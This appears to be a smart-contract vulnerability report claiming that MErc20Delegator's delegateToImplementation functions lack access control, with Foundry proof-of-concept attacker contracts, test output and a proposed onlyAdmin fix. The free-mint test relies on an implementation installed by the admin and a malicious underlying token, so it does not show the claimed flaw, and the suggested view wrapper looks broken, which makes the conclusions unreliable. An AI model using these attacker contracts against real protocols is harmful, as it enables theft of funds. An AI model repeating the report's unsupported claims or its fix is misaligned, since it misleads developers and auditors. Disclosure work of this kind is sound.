##Summary

The delegateToImplementation function in the MErc20Delegator contract is publicly accessible (its ABI shows no access control).
Because delegatecall executes the implementation code using the delegator’s storage context, a non-admin caller can trigger arbitrary functions from the implementation that modify the delegator’s storage.

If the implementation contains initialization or sensitive functions (such as _becomeImplementation, mint, or other state-mutating logic), an attacker can exploit this to take over admin privileges, mint tokens, drain assets, or brick the contract.

##Root Cause:
Lack of access control (onlyAdmin) on delegateToImplementation.

The implementation acts as the execution target, exposing critical functionality such as transfer, transferFrom, mint, etc., without restrictions.

##Proof of Concept
(test/DelegateAccess.t.sol) code :

```
// ---- Attacker contract for simulation external access ----
contract Attacker {
    function callDelegateToImpl(address delegator, bytes memory
payload)
        public
        returns (bool, bytes memory)
    {
        (bool ok, bytes memory ret) =

delegator.call(abi.encodeWithSignature("delegateToImplementation(bytes)
", payload));
        return (ok, ret);
    }

    function callDelegateToViewImpl(address delegator, bytes memory
payload)
        public
        returns (bool, bytes memory)
    {
        (bool ok, bytes memory ret) =
```

```
delegator.call(abi.encodeWithSignature("delegateToViewImplementation(by
tes)", payload));
        return (ok, ret);
    }
}

// ---- Test ----
contract DelegateAccessTest is DSTest {
    MErc20Delegator delegator;
    DummyComptroller comptroller;
    DummyIRM irm;
    Attacker attacker;

    function setUp() public {
        comptroller = new DummyComptroller();
        irm = new DummyIRM();
        attacker = new Attacker();

        // Deploy dummy delegator
        delegator = new MErc20Delegator(
            address(0x1234567890000000000000000000000000000000), //
underlying dummy
            ComptrollerInterface(address(comptroller)),
            InterestRateModel(address(irm)),
            1e18, // initialExchangeRateMantissa
            "SecToken",
            "STK",
            18,
            address(uint160(address(this))), // admin = test contract
            address(0x1234567890000000000000000000000000000000), //
dummy implementation
            "" // empty becomeImplementationData
        );
    }

    // --------- Tests ----------

    // Must revert if attacker tries to delegate directly
function test_attacker_cannot_call_delegateToImplementation() public {
    bytes memory payload =
abi.encodeWithSignature("_becomeImplementation(bytes)", "");
```

```
    (bool ok, ) = attacker.callDelegateToImpl(address(delegator),
payload);
    // Expect call to revert/return false
    assertTrue(!ok);
}

function test_attacker_cannot_call_delegateToViewImplementation()
public {
    bytes memory payload = abi.encodeWithSignature("totalBorrows()");
    (bool ok, ) = attacker.callDelegateToViewImpl(address(delegator),
payload);
    assertTrue(!ok);
}

}

Teset Result

forge test --match-contract DelegateAccessTest -vv
[⠊] Compiling...
No files changed, compilation skipped

Ran 2 tests for test/DelegateAccess.t.sol:DelegateAccessTest
[FAIL: assertTrue failed]
test_attacker_cannot_call_delegateToImplementation() (gas: 20430)
[FAIL: assertTrue failed]
test_attacker_cannot_call_delegateToViewImplementation() (gas: 21867)
Suite result: FAILED. 0 passed; 2 failed; 0 skipped; finished in 6.94ms
(326.20µs CPU time)

Ran 1 test suite in 124.52ms (6.94ms CPU time): 0 tests passed, 2
failed, 0 skipped (2 total tests)

Failing tests:
Encountered 2 failing tests in
test/DelegateAccess.t.sol:DelegateAccessTest
[FAIL: assertTrue failed]
test_attacker_cannot_call_delegateToImplementation() (gas: 20430)
[FAIL: assertTrue failed]
test_attacker_cannot_call_delegateToViewImplementation() (gas: 21867)

Encountered a total of 2 failing tests, 0 tests succeeded
```

```
Expected behavior: both calls should revert.
Actual behavior: no revert occurred, proving public accessibility.

This confirms that delegateToImplementation and
delegateToViewImplementation are callable by anyone.

Exploit Simulation
test/MintPoC.t.sol code:

/* Attacker contract that calls mint on the delegator */
contract Attacker {
    function doMint(address delegator, uint256 amount) public returns
(bool) {
        (bool ok, ) =
delegator.call(abi.encodeWithSignature("mint(uint256)", amount));
        return ok;
    }

    function balanceOfMToken(address delegator, address who) public
view returns (uint256) {
        (bool ok, bytes memory ret) =
delegator.staticcall(abi.encodeWithSignature("balanceOf(address)",
who));
        require(ok);
        return abi.decode(ret, (uint256));
    }
}

contract MintPoCTest is DSTest {
    MErc20Delegator token;
    MaliciousUnderlying underlying;
    PermissiveComptroller comptroller;
    DummyIRM irm;
    Attacker attacker;

    function setUp() public {
        comptroller = new PermissiveComptroller();
        irm = new DummyIRM();
        attacker = new Attacker();

        // deploy malicious underlying and mint some "underlying" to
attacker
        underlying = new MaliciousUnderlying();
```

```
        underlying.mintTo(address(this), 1000 ether);
        underlying.mintTo(address(attacker), 1000 ether);

        // deploy DummyImplementation and use it as initial
implementation to avoid ctor revert
        DummyImplementation dummy = new DummyImplementation();
        address dummyAddr = address(dummy);

        token = new MErc20Delegator(
            address(underlying),
            ComptrollerInterface(address(comptroller)),
            InterestRateModel(address(irm)),
            1e18,
            "SecToken",
            "STK",
            18,
            address(uint160(address(this))), // admin = test contract
            address(0x1234567890000000000000000000000000000000),
            "" // becomeImplementationData
        );

        // now deploy PoC implementation and set as the new
implementation via admin call
        PoCImplementation impl = new PoCImplementation();
        token._setImplementation(address(impl), true, "");

        // attacker approves token although transferFrom ignores
balances
        (bool ok1, ) =
address(underlying).call(abi.encodeWithSignature("approve(address,uint2
56)", address(token), uint256(1000 ether)));
        ok1;
    }

    function test_attacker_can_free_mint_via_mint_wrapper() public {
        uint beforeUnderlying =
underlying.balanceOf(address(attacker));

        bool ok = attacker.doMint(address(token), 100 ether);
        assertTrue(ok);

        // check mToken balance via delegator wrapper ->
delegateToViewImplementation -> implementation.balanceOf
```

```
        (bool ok2, bytes memory ret) =
address(token).staticcall(abi.encodeWithSignature("balanceOf(address)",
address(attacker)));
        require(ok2);
        uint mBal = abi.decode(ret, (uint256));

        uint afterUnderlying = underlying.balanceOf(address(attacker));

        emit log_named_uint("mToken balance after mint (attacker)",
mBal);
        emit log_named_uint("underlying balance before",
beforeUnderlying);
        emit log_named_uint("underlying balance after",
afterUnderlying);

        // underlying must be unchanged (malicious underlying didn't
deduct), and mToken balance must increase
        assertTrue(afterUnderlying == beforeUnderlying);
        assertTrue(mBal > 0);
    }
}

result

forge test --match-contract MintPoCTest -vvv
[⠊] Compiling...
No files changed, compilation skipped

Ran 1 test for test/MintPoC.t.sol:MintPoCTest
[PASS] test_attacker_can_free_mint_via_mint_wrapper() (gas: 65330)
Logs:
  mToken balance after mint (attacker): 100000000000000000000
  underlying balance before: 100000000000000000000
  underlying balance after: 100000000000000000000

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 10.44ms
(487.80µs CPU time)

Ran 1 test suite in 116.66ms (10.44ms CPU time): 1 tests passed, 0
failed, 0 skipped (1 total tests)

The attacker successfully minted tokens without reducing their
underlying balance — confirming unrestricted delegatecall execution.
```

##Impact

Because delegateToImplementation(bytes) is publicly callable, an attacker can:

Execute arbitrary implementation functions in the delegator’s storage context.

Bypass admin-only restrictions.

Mint unlimited tokens or drain protocol funds.

Take over admin privileges or brick the contract permanently.

This vulnerability completely compromises the protocol’s trust model.

Recommendation

Restrict delegateToImplementation and delegateToViewImplementation with proper access control.

```
// --- add modifier if not present ---
modifier onlyAdmin() {
    require(msg.sender == admin, "MErc20Delegator: only admin");
    _;
}

// --- create internal helper (does the actual delegateTo) ---
function _delegateToImplementation(address impl, bytes memory data)
internal returns (bytes memory) {
    return delegateTo(impl, data);
}

// --- public admin wrapper (only admin can call) ---
function delegateToImplementation(bytes memory data) public onlyAdmin
returns (bytes memory) {
    return _delegateToImplementation(implementation, data);
}

function delegateToViewImplementation(bytes memory data) public view
onlyAdmin returns (bytes memory) {
    // implement view wrapper safely (if previously used)
```

```
    (bool success, bytes memory returnData) = address(this).staticcall(
        abi.encodeWithSignature("delegateToImplementation(bytes)",
data)
    );
    require(success, "delegateToViewImplementation failed");
    return returnData;
}
```